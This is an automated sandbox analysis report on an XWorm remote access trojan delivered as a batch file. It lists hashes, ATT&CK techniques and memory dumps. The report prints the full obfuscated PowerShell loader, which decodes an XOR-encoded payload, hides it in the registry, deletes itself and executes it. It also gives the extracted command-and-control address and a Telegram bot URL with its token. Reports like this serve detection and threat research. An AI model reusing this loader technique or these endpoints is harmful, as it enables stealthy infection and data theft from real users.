xworm | e3f141aeea820a23216db5919e80573b1e5675e98a3c02a67d2e7b576ef269b5

Analysis

max time kernel
93s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
08/03/2025, 14:43

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General

Target

e3f141aeea820a23216db5919e80573b1e5675e98a3c02a67d2e7b576ef269b5.bat
Size

4.3MB
MD5

c827b11ddab8f04af88ad75cf10ce5c3
SHA1

8ccd314ee72a96772cc6040e9c626332a18ff2d0
SHA256

e3f141aeea820a23216db5919e80573b1e5675e98a3c02a67d2e7b576ef269b5
SHA512

73bbdfe7555c49893674339b967f6515471ae83043d9c5ca9772828f0877c2827cace3c24bae99da393864e35dc91268ab7fc5a969fb65cb10a3da23dceb6f32
SSDEEP

49152:k1bO8QYsqdzJPWeAir2ajAFZqklU2Cb7zGhaPCuDaWBm8HYrFDDSM+qkTKZHdIMw:w

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

193.32.177.63:6000

Mutex

wwD0bshguVCRSd3k

Attributes

install_file
USB.exe
telegram
https://api.telegram.org/bot7238632531:AAGCQZAh03hAwOcuP9HUeoAP5AQV0o0tp24/sendMessage?chat_id=8080837794

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4552-20-0x0000027B8F1E0000-0x0000027B8F1F0000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
31	4552	powershell.exe
33	4552	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4552	powershell.exe

Deletes itself 1 IoCs

pid	Process
4552	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4552	powershell.exe
4552	powershell.exe
4552	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4552	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4552	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3928 wrote to memory of 4552	3928	cmd.exe	86
PID 3928 wrote to memory of 4552	3928	cmd.exe	86

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\e3f141aeea820a23216db5919e80573b1e5675e98a3c02a67d2e7b576ef269b5.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -windowstyle hidden -c "Write-Host ('dedaoL rotcartxE llehsrewoP'[-1..-27] -join '');$path = $env:tMHryVWCxy;$path = $path.Trim();try {$_1 = Get-Content -Path $path.Substring(1, $path.Length - 2) -ErrorAction Stop;} catch {$_1 = Get-Content -Path $path}$_3 = $_1 -split '\n';$_2 = $_3[-1];$_2 = [Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_2.Replace('\n', ''));$_4 = New-Object byte[] $_2.Length;for ($_5 = 0; $_5 -lt $_4.Length; $_5++) {$_4[$_5] = $_2[$_5] -bxor 0x20;};$_4 = [System.Text.Encoding]::Unicode.GetString($_4);Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows Search' -Name '$phantom-frZZfx' -Value $_4;Remove-Item -Path $path -Force;$_4 | Invoke-Expression"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Deletes itself
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:4552

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_apiucaor.yjs.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4552-19-0x00007FFEBC660000-0x00007FFEBC71E000-memory.dmp

Filesize
760KB

Download
memory/4552-21-0x00007FFE9FDC3000-0x00007FFE9FDC5000-memory.dmp

Filesize
8KB

Download
memory/4552-13-0x00007FFE9FDC0000-0x00007FFEA0881000-memory.dmp

Filesize
10.8MB

Download
memory/4552-14-0x00007FFE9FDC0000-0x00007FFEA0881000-memory.dmp

Filesize
10.8MB

Download
memory/4552-15-0x0000027B8F0E0000-0x0000027B8F0E8000-memory.dmp

Filesize
32KB

Download
memory/4552-16-0x0000027BA7A30000-0x0000027BA7B6C000-memory.dmp

Filesize
1.2MB

Download
memory/4552-8-0x0000027B8ECB0000-0x0000027B8ECD2000-memory.dmp

Filesize
136KB

Download
memory/4552-18-0x00007FFEBDFB0000-0x00007FFEBE1A5000-memory.dmp

Filesize
2.0MB

Download
memory/4552-17-0x0000027B8F150000-0x0000027B8F1A8000-memory.dmp

Filesize
352KB

Download
memory/4552-20-0x0000027B8F1E0000-0x0000027B8F1F0000-memory.dmp

Filesize
64KB

Download
memory/4552-2-0x00007FFE9FDC3000-0x00007FFE9FDC5000-memory.dmp

Filesize
8KB

Download
memory/4552-22-0x00007FFE9FDC0000-0x00007FFEA0881000-memory.dmp

Filesize
10.8MB

Download
memory/4552-23-0x00007FFE9FDC0000-0x00007FFEA0881000-memory.dmp

Filesize
10.8MB

Download
memory/4552-24-0x00007FFE9FDC0000-0x00007FFEA0881000-memory.dmp

Filesize
10.8MB

Download
memory/4552-25-0x00007FFE9FDC0000-0x00007FFEA0881000-memory.dmp

Filesize
10.8MB

Download